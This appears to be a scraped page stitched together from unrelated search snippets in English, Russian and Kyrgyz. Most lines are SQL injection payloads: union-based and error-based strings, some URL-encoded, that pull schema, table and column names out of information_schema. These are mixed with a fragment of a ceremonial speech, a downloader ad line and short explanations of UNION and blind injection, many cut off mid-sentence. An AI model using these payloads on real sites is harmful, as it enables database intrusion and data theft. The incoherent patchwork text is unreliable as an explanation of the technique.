... 3561=3561 union all select (select concat(0x4d663566,(select mid((select (elt(2836=2836,1))),1,10)),0x54635a49)),null -- - · best youtube downloader for ...
Вед-1 Урматтуу салтанаттын катышуучулары! ... 3561=3561 union all select (select concat(0x4d663566,(select mid((select (elt(2836=2836,1))),1,10)),0x54635a49)), ...
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
MySQL Union Based. UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata.
Для работы с объединением запросов нам необходимо, чтобы во всех объединяемых запросах количество полей было одинаковым. Воспользуемся оператором UNION. По задаче требуется найти данное секретной таблицы с полем ggg=abc.
-1' union%20select%20group_concat%28schema_name%20SEPARATOR%200x3c62723e) ,2%2C3%2C4%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20--%20-. Браузеры обычно это делают сами, но в сторонних программах может понадобится конверт��рование.
Extract database with information_schema. Then the following codes will extract the databases'name, tables'name, columns'name. UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata.
' UNION ALL SELECT 1,2,3,4,5,group_concat(table_name) from information_schema.tables WHERE table_schema='Staff'#.
For example: SELECT a, b FROM table1 UNION SELECT c, d FROM table2. This SQL query will return a single result set with two columns, containing values from columns a and b in table1 and columns c and d in table2.
Вы были почти там, попробуйте это: Select group_concat(xxx) from ( SELECT DISTINCT Concat("table1.", column_name) as xxx FROM columns WHERE table_name = "table1" UNION ALL SELECT DISTINCT Concat("table2.", column_name) FROM columns WHERE table_name = "table2"...
With blind SQL injection vulnerabilities, many techniques such as UNION attacks are not effective, because they rely on being able to see the results of the injected query within the application's responses.